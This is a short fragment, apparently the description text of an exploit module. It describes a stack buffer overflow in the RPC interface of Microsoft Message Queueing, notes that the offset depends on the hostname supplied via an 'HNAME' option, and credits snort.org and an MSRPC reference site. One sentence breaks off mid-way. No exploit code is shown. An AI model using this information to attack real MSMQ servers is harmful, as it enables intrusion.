    				This module exploits a stack buffer overflow in the RPC interface
    				to the Microsoft Message Queueing service. The offset to the

    				hostname, so this must be provided via the 'HNAME' option.
    				Much thanks to snort.org and Jean-Baptiste Marchand's
    				excellent MSRPC website.
